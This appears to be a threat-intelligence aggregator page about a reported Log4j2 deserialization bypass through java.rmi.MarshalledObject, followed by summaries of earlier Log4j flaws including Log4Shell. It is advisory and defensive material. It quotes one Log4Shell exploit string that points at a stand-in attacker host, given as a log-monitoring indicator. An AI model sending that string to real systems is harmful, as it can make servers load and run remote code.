Loading story…
A reported Apache Log4j2 deserialization flaw, tracked as Issue #4255, may allow attackers to bypass FilteredObjectInputStream protections through the allowlisted java.rmi.MarshalledObject class. During native serialized LogEvent processing, Log4jLogEvent.LogEventProxy.readResolve() can invoke MarshalledObject.get(), deserializing an embedded object with an unfiltered ObjectInputStream; a compatible gadget chain on the target classpath could then enable remote code execution. The issue may also permit resource-exhaustion denial of service and log injection.
Exposure is limited to services that accept native Java-serialized Log4j event objects over the network, rather than ordinary local logging or non-native log transports. A Nuclei template has been proposed to detect blind out-of-band exploitation using Interactsh DNS callbacks against ObjectInputStreamLogEventBridge-style receivers. Reported affected releases include log4j-api and log4j-core through 2.26.1; an Apache patch and CVE assignment were pending. Rejecting java.rmi.MarshalledObject with -Djdk.serialFilter='!java.rmi.MarshalledObject' blocks the tested deserialization path.
See affected versions and whether adversaries are exploiting it.
8 references tracked. Mallory keeps watching after this page renders.
tenable.com
Open sourcecybersecuritynews.com
Open sourcemalware.news
Open sourcethecybersecguru.com
Open sourcesecurityonline.info
Open sourcegithub.com
Open sourcegithub.com
Open sourcegithub.com
Open sourceMap indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.
Other stories Mallory is tracking that overlap on entities, sources, or topic labels.
Apache Log4j socket receivers contain unsafe Java deserialization flaws that permit unauthenticated remote code execution when attackers can send crafted serialized log events to an exposed TCP or UDP `SocketServer`. **CVE-2017-5645** affects Log4j 2 versions `2.0-alpha1` through `2.8.1`; Apache addressed it in `2.8.2` by adding configurable `ObjectInputStream` class filtering to `TcpSocketServer` and `UdpSocketServer`. Legacy Log4j 1.2's `SocketServer` is also vulnerable to the same attack class under **CVE-2019-17571**, affecting releases through `1.2.17` and requiring a suitable deserialization gadget. Log4j 1.x has been end-of-life since 2015 and will not receive fixes; organizations should migrate to supported Log4j 2 releases, upgrade vulnerable 2.x deployments to `2.8.2` or later, and disable or restrict exposed socket-server components where upgrades are not immediately possible.
Aug 28, 2026
Apache Log4j's initial fix for **Log4Shell** proved incomplete, as version `2.15.0` remained vulnerable to **CVE-2021-45046** under certain non-default but realistic configurations. Security reports said attackers could bypass the localhost-only JNDI restriction introduced in `2.15.0` with a crafted LDAP URI, enabling remote code execution or sensitive data exfiltration when lookups were enabled, specific Pattern Layout Context Lookup settings were used, or applications logged attacker-controlled input through `Logger.printf` and related paths. Apache responded by hardening Log4j further in `2.16.0`, disabling JNDI by default and requiring explicit opt-in for users who still needed it. Advisories from Snyk and others urged organizations to upgrade beyond `2.15.0` immediately, or remove the `JndiLookup` class from affected releases as a temporary mitigation, while the broader Log4j incident continued to evolve with later fixes for additional flaws including `CVE-2021-45105` and `CVE-2021-44832`.
Jun 29, 2026
A critical vulnerability in Apache Log4j 2, tracked as **`CVE-2021-44228`**, allows unauthenticated remote code execution through abuse of the library’s **JNDI** functionality. Affected versions include **`2.0-beta9` through `2.14.1`**, where attacker-controlled input in log messages, configuration, or parameters can trigger lookups to malicious **LDAP** and related endpoints, potentially leading to full server compromise, data exposure, malware deployment, and service disruption. CISA described the flaw as a severe, widespread risk because Log4j is embedded across countless enterprise applications and services. Apache and government cybersecurity authorities urged organizations to rapidly identify all direct and transitive uses of Log4j, upgrade to **`2.15.0`** or later, and apply mitigations where immediate patching is not possible. Recommended defensive steps included disabling message lookups, removing the **`JndiLookup`** class, monitoring logs for exploit strings such as `${jndi:ldap://attacker.com/a}`, hardening internet-exposed systems, and isolating affected hosts while resetting credentials on any servers suspected of compromise.
Sep 2, 2026